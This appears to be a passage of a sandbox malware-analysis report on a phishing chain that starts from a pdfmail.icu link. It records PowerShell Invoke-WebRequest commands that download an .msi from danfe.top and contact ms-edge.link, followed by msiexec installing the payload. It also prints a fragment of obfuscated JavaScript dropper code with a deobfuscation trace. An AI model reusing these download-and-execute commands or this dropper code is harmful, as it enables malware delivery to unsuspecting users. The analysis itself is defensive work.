Start date:	24/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	00:29:40
Start date:	24/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:29:40
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:29:41
Start date:	24/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2020,i,12890358497683142994,16358614745518682558,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	00:31:05
Start date:	24/09/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\Updateizpy.msi"
Imagebase:	0x7ff7b4590000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:31:05
Start date:	24/09/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff7b4590000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	00:31:08
Start date:	24/09/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 97A876E29032D56FD3BEF2306B300FAD
Imagebase:	0xd70000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:31:12
Start date:	24/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:31:12
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	var _0x6312fa = _0x1552;
1	( function (_0x18c1aa, _0x15a4dc) {	(function _0x53ab(),155552) ➔ undefined (function _0x53ab(),155552) ➔ undefined
2	var _0x33bc1b = _0x1552, _0x29d867 = _0x18c1aa ( );	_0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk
3	while (! ! [ ] )
4	{
5	try
6	{
7	var _0x8ecdc5 = - parseInt ( _0x33bc1b ( 0xe6 ) ) / ( - 0x75e + 0x2390 + - 0x1c31 ) + - parseInt ( _0x33bc1b ( 0x6f ) ) / ( 0x2da * 0xd + 0x1c55 * 0x1 + - 0x4165 ) + - parseInt ( _0x33bc1b ( 0xc7 ) ) / ( - 0x7f7 + 0xc92 + - 0xa8 * 0x7 ) * ( parseInt ( _0x33bc1b ( 0xe4 ) ) / ( - 0x9b5 * 0x2 + - 0x376 + 0x16e4 ) ) + - parseInt ( _0x33bc1b ( 0x7a ) ) / ( 0x1bb2 + - 0x52 * 0x43 + 0x1 * - 0x637 ) * ( parseInt ( _0x33bc1b ( 0xbd ) ) / ( 0xcc7 + - 0x1 * - 0x2435 + - 0x30f6 ) ) + - parseInt ( _0x33bc1b ( 0xc0 ) ) / ( - 0xb5c + 0x62b + 0x29c * 0x2 ) + parseInt ( _0x33bc1b ( 0x76 ) ) / ( - 0xe9 * - 0x1d + 0x3 * - 0x49f + - 0xc80 ) + parseInt ( _0x33bc1b ( 0x9e ) ) / ( - 0x2469 + 0x1 * - 0x141b + 0x388d );	_0x1552(230) ➔ "push" parseInt("push") ➔ NaN _0x1552(111) ➔ "eaDJS" parseInt("eaDJS") ➔ NaN _0x1552(199) ➔ "aATaN" parseInt("aATaN") ➔ NaN _0x1552(228) ➔ "%ProgramDa" parseInt("%ProgramDa") ➔ NaN _0x1552(122) ➔ "XtdVL" parseInt("XtdVL") ➔ NaN _0x1552(189) ➔ "5AieEzU" parseInt("5AieEzU") ➔ 5 _0x1552(192) ➔ "length" parseInt("length") ➔ NaN _0x1552(118) ➔ "TPFhc" parseInt("TPFhc") ➔ NaN _0x1552(158) ➔ "HgWtq" parseInt("HgWtq") ➔ NaN _0x1552(230) ➔ "fSxJR" parseInt("fSxJR") ➔ NaN _0x33bc1b(111) ➔ "5cd84e44" parseInt("5cd84e44") ➔ 5 _0x33bc1b(199) ➔ "sNbFT" parseInt("sNbFT") ➔ NaN _0x33bc1b(228) ➔ "toString" parseInt("toString") ➔ NaN _0x33bc1b(122) ➔ "197dJYSYr" parseInt("197dJYSYr") ➔ 197 _0x33bc1b(189) ➔ "60VFfyja" parseInt("60VFfyja") ➔ 60 _0x33bc1b(192) ➔ "WdLIV" parseInt("WdLIV") ➔ NaN _0x33bc1b(118) ➔ "run" parseInt("run") ➔ NaN _0x33bc1b(158) ➔ "vvzcH" parseInt("vvzcH") ➔ NaN _0x33bc1b(230) ➔ "wUose" parseInt("wUose") ➔ NaN _0x33bc1b(111) ➔ "2178279nqc" parseInt("2178279nqc") ➔ 2178279 _0x33bc1b(199) ➔ "ings" parseInt("ings") ➔ NaN _0x33bc1b(228) ➔ "push" parseInt("push") ➔ NaN _0x33bc1b(122) ➔ "MoveFile" parseInt("MoveFile") ➔ NaN _0x33bc1b(189) ➔ "AAHqS" parseInt("AAHqS") ➔ NaN _0x33bc1b(192) ➔ "nFIUf" parseInt("nFIUf") ➔ NaN _0x33bc1b(118) ➔ "RaSSU" parseInt("RaSSU") ➔ NaN _0x33bc1b(158) ➔ "LBoey" parseInt("LBoey") ➔ NaN _0x33bc1b(230) ➔ "floor" parseInt("floor") ➔ NaN _0x33bc1b(111) ➔ ""Invoke-We" parseInt(""Invoke-We") ➔ NaN _0x33bc1b(199) ➔ "5626176BtL" parseInt("5626176BtL") ➔ 5626176 _0x33bc1b(228) ➔ "fSxJR" parseInt("fSxJR") ➔ NaN _0x33bc1b(122) ➔ "QruWT" parseInt("QruWT") ➔ NaN _0x33bc1b(189) ➔ "length" parseInt("length") ➔ NaN _0x33bc1b(192) ➔ "eIWnP" parseInt("eIWnP") ➔ NaN _0x33bc1b(118) ➔ "48772LGjEn" parseInt("48772LGjEn") ➔ 48772 _0x33bc1b(158) ➔ "ra/serv.ph" parseInt("ra/serv.ph") ➔ NaN _0x33bc1b(230) ➔ "%appdata%" parseInt("%appdata%") ➔ NaN _0x33bc1b(111) ➔ "plicativo/" parseInt("plicativo/") ➔ NaN _0x33bc1b(199) ➔ "etQhA" parseInt("etQhA") ➔ NaN _0x33bc1b(228) ➔ "wUose" parseInt("wUose") ➔ NaN _0x33bc1b(122) ➔ "yrpmF" parseInt("yrpmF") ➔ NaN _0x33bc1b(189) ➔ "WdLIV" parseInt("WdLIV") ➔ NaN _0x33bc1b(192) ➔ "1120572YyG" parseInt("1120572YyG") ➔ 1120572 _0x33bc1b(118) ➔ "XtdVL" parseInt("XtdVL") ➔ NaN _0x33bc1b(158) ➔ "Update" parseInt("Update") ➔ NaN _0x33bc1b(230) ➔ "WeHtk" parseInt("WeHtk") ➔ NaN _0x33bc1b(111) ➔ "http://pdf" parseInt("http://pdf") ➔ NaN _0x33bc1b(199) ➔ "yLMjB" parseInt("yLMjB") ➔ NaN _0x33bc1b(228) ➔ "floor" parseInt("floor") ➔ NaN _0x33bc1b(122) ➔ "618294YVHPgC" parseInt("618294YVHPgC") ➔ 618294 _0x33bc1b(189) ➔ "nFIUf" parseInt("nFIUf") ➔ NaN _0x33bc1b(192) ➔ "RyAPa" parseInt("RyAPa") ➔ NaN _0x33bc1b(118) ➔ "197dJYSYr" parseInt("197dJYSYr") ➔ 197 _0x33bc1b(158) ➔ "dcFFV" parseInt("dcFFV") ➔ NaN _0x33bc1b(230) ➔ "?app=Kra.m" parseInt("?app=Kra.m") ➔ NaN _0x33bc1b(111) ➔ "Object" parseInt("Object") ➔ NaN _0x33bc1b(199) ➔ "random" parseInt("random") ➔ NaN _0x33bc1b(228) ➔ "%appdata%" parseInt("%appdata%") ➔ NaN _0x33bc1b(122) ➔ "link/contk" parseInt("link/contk") ➔ NaN _0x33bc1b(189) ➔ "eIWnP" parseInt("eIWnP") ➔ NaN _0x33bc1b(192) ➔ "kpAZy" parseInt("kpAZy") ➔ NaN _0x33bc1b(118) ➔ "MoveFile" parseInt("MoveFile") ➔ NaN _0x33bc1b(158) ➔ "8KApWDK" parseInt("8KApWDK") ➔ 8 _0x33bc1b(230) ➔ "DuEPK" parseInt("DuEPK") ➔ NaN _0x33bc1b(111) ➔ "TPFhc" parseInt("TPFhc") ➔ NaN _0x33bc1b(199) ➔ "lvUBa" parseInt("lvUBa") ➔ NaN _0x33bc1b(228) ➔ "WeHtk" parseInt("WeHtk") ➔ NaN _0x33bc1b(122) ➔ "//ms-edge." parseInt("//ms-edge.") ➔ NaN _0x33bc1b(189) ➔ "1120572YyG" parseInt("1120572YyG") ➔ 1120572 _0x33bc1b(192) ➔ "aATaN" parseInt("aATaN") ➔ NaN _0x33bc1b(118) ➔ "QruWT" parseInt("QruWT") ➔ NaN _0x33bc1b(158) ➔ "TmYkb" parseInt("TmYkb") ➔ NaN _0x33bc1b(230) ➔ "ZLaZx" parseInt("ZLaZx") ➔ NaN _0x33bc1b(111) ➔ "run" parseInt("run") ➔ NaN _0x33bc1b(199) ➔ "TjxwE" parseInt("TjxwE") ➔ NaN _0x33bc1b(228) ➔ "?app=Kra.m" parseInt("?app=Kra.m") ➔ NaN _0x33bc1b(122) ➔ "236061rnRecz" parseInt("236061rnRecz") ➔ 236061 _0x33bc1b(189) ➔ "RyAPa" parseInt("RyAPa") ➔ NaN _0x33bc1b(192) ➔ "sNbFT" parseInt("sNbFT") ➔ NaN _0x33bc1b(118) ➔ "yrpmF" parseInt("yrpmF") ➔ NaN _0x33bc1b(158) ➔ "202716xogZEc" parseInt("202716xogZEc") ➔ 202716 _0x33bc1b(230) ➔ "FileSystem" parseInt("FileSystem") ➔ NaN _0x33bc1b(111) ➔ "RaSSU" parseInt("RaSSU") ➔ NaN _0x33bc1b(199) ➔ "p/baixar-a" parseInt("p/baixar-a") ➔ NaN _0x33bc1b(228) ➔ "DuEPK" parseInt("DuEPK") ➔ NaN _0x33bc1b(122) ➔ "fmFJy" parseInt("fmFJy") ➔ NaN _0x33bc1b(189) ➔ "kpAZy" parseInt("kpAZy") ➔ NaN _0x33bc1b(192) ➔ "ings" parseInt("ings") ➔ NaN _0x33bc1b(118) ➔ "618294YVHPgC" parseInt("618294YVHPgC") ➔ 618294 _0x33bc1b(158) ➔ "ta%" parseInt("ta%") ➔ NaN
8	if ( _0x8ecdc5 === _0x15a4dc )
9	break ;
10	else
11	_0x29d867['push'] ( _0x29d867['shift'] ( ) );
12	}
13	catch ( _0xfd4180 )
14	{
15	_0x29d867['push'] ( _0x29d867['shift'] ( ) );
16	}
17	}
18	} ( _0x53ab, - 0x1 * 0x4bb10 + 0x1d * 0xd76 + - 0xa * - 0x8ed5 ) );
19	var _0x1c61e9 = _0x2ab9;
20	function _0x2ab9(_0x3d644b, _0x307467) {	_0x2ab9(168) ➔ "toString" _0x2ab9(171) ➔ "%appdata%" _0x2ab9(173) ➔ "672507TXAorh" _0x2ab9(166) ➔ "Update" _0x2ab9(176) ➔ "WScript.Shell" _0x2ab9(162) ➔ "48772LGjEnw" _0x2ab9(159) ➔ "10CdYxPx" _0x2ab9(165) ➔ "length" _0x2ab9(156) ➔ "Sleep" _0x2ab9(163) ➔ "ExpandEnvironmentStrings"
21	var _0x20240d = _0x1552,
22	_0x7901ef = {
23	'WdLIV' : function (_0x3bfc23) {	[object Object].WdLIV(function ()) ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject [object Object].WdLIV(function ()) ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject [object Object].WdLIV(function ()) ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject [object Object].WdLIV(function ()) ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject [object Object].WdLIV(function ()) ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject [object Object].WdLIV(function ()) ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject [object Object].WdLIV(function ()) ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject [object Object].WdLIV(function ()) ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject [object Object].WdLIV(function ()) ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject [object Object].WdLIV(function ()) ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject
24	return _0x3bfc23 ( );	_0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject
25	}
26	}, _0x38aac2 = _0x7901ef[_0x20240d ( 0x7e ) ] ( _0x35c5 );
27	return ( _0x2ab9 =	(168,undefined) ➔ "toString" (171,undefined) ➔ "%appdata%" (173,undefined) ➔ "672507TXAorh" (166,undefined) ➔ "Update" (176,undefined) ➔ "WScript.Shell" (162,undefined) ➔ "48772LGjEnw" (159,undefined) ➔ "10CdYxPx" (165,undefined) ➔ "length" (156,undefined) ➔ "Sleep" (163,undefined) ➔ "ExpandEnvironmentStrings"
28	function (_0x4fd55b, _0x4eb7a3) {	(168,undefined) ➔ "toString" (171,undefined) ➔ "%appdata%" (173,undefined) ➔ "672507TXAorh" (166,undefined) ➔ "Update" (176,undefined) ➔ "WScript.Shell" (162,undefined) ➔ "48772LGjEnw" (159,undefined) ➔ "10CdYxPx" (165,undefined) ➔ "length" (156,undefined) ➔ "Sleep" (163,undefined) ➔ "ExpandEnvironmentStrings"
29	return _0x38aac2[_0x4fd55b -= 0x1c7 + 0x2 * - 0x119a + 0x2208];
30	} ) ( _0x3d644b, _0x307467 );
31	}
32	! ( function () {	() ➔ undefined () ➔ undefined
33	var _0x29440f = _0x1552,
34	_0x1ee98c = {
35	'AFggf' : function (_0x20ba69) {	[object Object].AFggf(function _0x35c5()) ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject
36	return _0x20ba69 ( );	_0x35c5() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject
37	},
38	'DuEPK' : function (_0x328aa8, _0x8bdc11) {	[object Object].DuEPK(253289,NaN) ➔ false [object Object].DuEPK(253289,NaN) ➔ false [object Object].DuEPK(253289,NaN) ➔ false [object Object].DuEPK(253289,NaN) ➔ false [object Object].DuEPK(253289,NaN) ➔ false [object Object].DuEPK(253289,NaN) ➔ false [object Object].DuEPK(253289,NaN) ➔ false [object Object].DuEPK(253289,NaN) ➔ false [object Object].DuEPK(253289,NaN) ➔ false [object Object].DuEPK(253289,NaN) ➔ false
39	return _0x328aa8 === _0x8bdc11;
40	},
41	'aATaN' : function (_0x79f9b8, _0x457baf) {	[object Object].aATaN(NaN,16.416666666666668) ➔ NaN [object Object].aATaN(NaN,NaN) ➔ NaN [object Object].aATaN(NaN,NaN) ➔ NaN [object Object].aATaN(NaN,171.33333333333334) ➔ NaN [object Object].aATaN(NaN,NaN) ➔ NaN [object Object].aATaN(NaN,93381) ➔ NaN [object Object].aATaN(NaN,NaN) ➔ NaN [object Object].aATaN(NaN,NaN) ➔ NaN [object Object].aATaN(NaN,5) ➔ NaN [object Object].aATaN(NaN,56042.25) ➔ NaN
42	return _0x79f9b8 + _0x457baf;
43	},
44	'vvzcH' : function (_0x116b4f, _0xa87751) {	[object Object].vvzcH(NaN,NaN) ➔ NaN [object Object].vvzcH(NaN,3901099.6636363636) ➔ NaN [object Object].vvzcH(NaN,NaN) ➔ NaN [object Object].vvzcH(NaN,NaN) ➔ NaN [object Object].vvzcH(NaN,26350836.145454544) ➔ NaN [object Object].vvzcH(NaN,NaN) ➔ NaN [object Object].vvzcH(NaN,NaN) ➔ NaN [object Object].vvzcH(NaN,NaN) ➔ NaN [object Object].vvzcH(NaN,NaN) ➔ NaN [object Object].vvzcH(NaN,3068823.272727273) ➔ NaN
45	return _0x116b4f + _0xa87751;
46	},
47	'JslXL' : function (_0x24dec7, _0x136f49) {	[object Object].JslXL(NaN,-11612.380952380952) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN [object Object].JslXL(NaN,-37.523809523809525) ➔ NaN [object Object].JslXL(NaN,171.33333333333331) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN [object Object].JslXL(NaN,NaN) ➔ NaN [object Object].JslXL(NaN,87562990176) ➔ NaN
48	return _0x24dec7 + _0x136f49;
49	},
